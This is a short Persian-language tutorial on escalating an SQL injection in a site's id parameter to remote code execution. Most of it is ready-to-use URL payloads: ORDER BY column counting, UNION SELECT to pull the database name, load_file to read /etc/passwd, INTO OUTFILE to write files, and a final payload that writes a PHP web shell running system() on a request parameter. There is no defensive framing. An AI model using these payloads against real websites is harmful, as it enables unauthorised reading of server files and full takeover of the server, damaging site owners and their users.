باگ SQL injection که حاصل از پردازش غیرایمن در پارامتر های ورودی وبسایت است را میتوان به باگ rce یا همان arbitrary code execution تبدیل کرد.
مثال باگSQL
site.com/products.php?id=3'order by 2--+
تبدیل این باگ به RCE به ما امکان اجرای کد های مخرب در سرور را میدهد.
site.com/products.php?id=3' order by n--+
به جای n اعداد طبیعی را قرار میدهیم تا جایی که به بزرگترین عددی که بدون خطا محتوا را لود میکند برسیم
site.com/products.php?id=-3' union select 1,2,3,4,5--+
بطور مثال در اینجا ستون آسیب پذیر دو است.
دریافت نام دیتابیس فعلی
site.com/products.php?id=-3' union select 1,database(),3,4,5--+
دستور لود فایل در اینجا فایلی را که حاوی پسورد یوزر های سرور است را در می آورد.
نکته: دسترسی وبسایت تارگت در اینجا اهمیت بالایی دارد.
site.com/products.php?id=-3' union select 1,load_file("etc/passwd"),3,4,5--+
در این مرحله دستورات کمی تغییر می کنند:
site.com/products.php?id=-3' union select 1,"@injection",3,4,5 INTO OUTFILE "/tmp/injection"--+
مرحله دوم:
site.com/products.php?id=-3' union select 1,"<?php $cmd = $_GET[\`injection\`]; echo system ($cmd); ?>",3,4,5 INTO OUTFILE "/home/$path/shell.php"--+